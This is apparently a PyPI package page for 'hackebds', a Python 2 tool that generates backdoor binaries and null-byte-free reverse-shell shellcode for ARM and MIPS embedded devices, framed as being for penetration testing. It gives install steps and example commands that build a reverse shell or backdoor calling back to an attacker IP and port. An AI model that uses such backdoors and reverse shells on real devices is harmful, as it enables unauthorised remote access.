Skip to main content

This tool is used for backdoor and shellcode generation for various architecture devices

Project description

introduction

foreword

In the process of penetration and vulnerability mining of embedded devices, many problems have been encountered. One is that some devices do not have telnetd or ssh services to obtain an interactive shell, and the other is that memory corruption vulnerabilities such as stack overflow are usually Null bytes are truncated, so it is more troublesome to construct reverse_shellcode, so this tool was developed to exploit the vulnerability. This tool is developed based on the PWN module and currently uses the python2 language

fuction

This tool is embedded in the security test of the device. There are two main functions:

  1. Generate backdoor programs of various architectures. The backdoor program is packaged in shellless pure shellcode and is smal in size.Armv5, Armv7, Armv8, mipsel, mips are now supported, and they are still being updated

  2. Generate reverse_shell shellcode of various architectures during the exploit process, and no null bytes, which facilitates the exploitation of memory corruption vulnerabilities on embedded devices. Armv5, Armv7, Armv8, mipsel, mips are now supported, and they are still being updated

Construct ELF

python2 install pwn

pip install pwn

​ This tool is developed in python language, so converting python to ELF can be done through nuitka

nuitka hackEmbedded_tool.py

​ If possible, put the modules that generate various backdoors and reverse_shellcode under python's site-packages

sudo cp ./generate_* {your_dir}/site-packages
sudo cp ./extract_shellcode.py {your_dir}/site-packages

You can view the path in sys.path under the python terminal

Python 2.7.17 (default, Mar 18 2022, 13:21:42) 
[GCC 7.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.path

Instructions for use

​ To use the generated backdoor or reverse_shellcode, you need to specify the ip address, port number, assembly architecture, endian (Default is armv7)

Here is the example that generates reverse_shellcode without null bytes

hackEmbedded_tool -reverse_ip 192.168.7.1 -reverse_port 444 -arch arm -endian little -exploit_shellcode 1

image-20220428161403858

This is the usage list for generating the backdoor file of the corresponding schema

hackEmbedded_tool -reverse_ip 192.168.7.1 -reverse_port 444 -arch arm -endian little -backdoor_file 1

image-20220428161757170

You can view tool information with -h

image-20220428161847829

chips and architectures

Tests can leverage chips and architectures

Mips: MIPS 74kc V4.12 big endian MIPS 24kc V5.0 little endian

Armv7: Allwinner(全志)V3s

Armv8: Qualcomm Snapdragon 660

One-click build environment

To be added

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

hackebds-0.0.2.tar.gz (2.7 kB view details)

Uploaded Source

Built Distribution

hackebds-0.0.2-py2-none-any.whl (9.0 kB view details)

Uploaded Python 2

File details

Details for the file hackebds-0.0.2.tar.gz.

File metadata

  • Download URL: hackebds-0.0.2.tar.gz
  • Upload date:
  • Size: 2.7 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/1.15.0 pkginfo/1.8.2 requests/2.25.1 setuptools/44.1.1 requests-toolbelt/0.9.1 tqdm/4.64.0 CPython/2.7.17

File hashes

Hashes for hackebds-0.0.2.tar.gz
Algorithm Hash digest
SHA256 13fe0c31c604912eef0f5ea25629cfd6a0fbeba54887cb440c073713ed4c9778
MD5 c9a06f5afbce142b3cf3ab8b9cda4f9e
BLAKE2b-256 b761799cfe9f477b415f1e554bf4ac87c14ab69839d83823059904f9cc6b012e

See more details on using hashes here.

File details

Details for the file hackebds-0.0.2-py2-none-any.whl.

File metadata

  • Download URL: hackebds-0.0.2-py2-none-any.whl
  • Upload date:
  • Size: 9.0 kB
  • Tags: Python 2
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/1.15.0 pkginfo/1.8.2 requests/2.25.1 setuptools/44.1.1 requests-toolbelt/0.9.1 tqdm/4.64.0 CPython/2.7.17

File hashes

Hashes for hackebds-0.0.2-py2-none-any.whl
Algorithm Hash digest
SHA256 c9c4ca7722182126b7e9d167f8027b11befee16cfcaa44b30d388bf109d8e999
MD5 6441aa21fd9d86d967a49e5f53d617f8
BLAKE2b-256 a183061cdf6cb4d61f52d12a80100100003f5c5786114de869bf61c2cbb3bc07

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page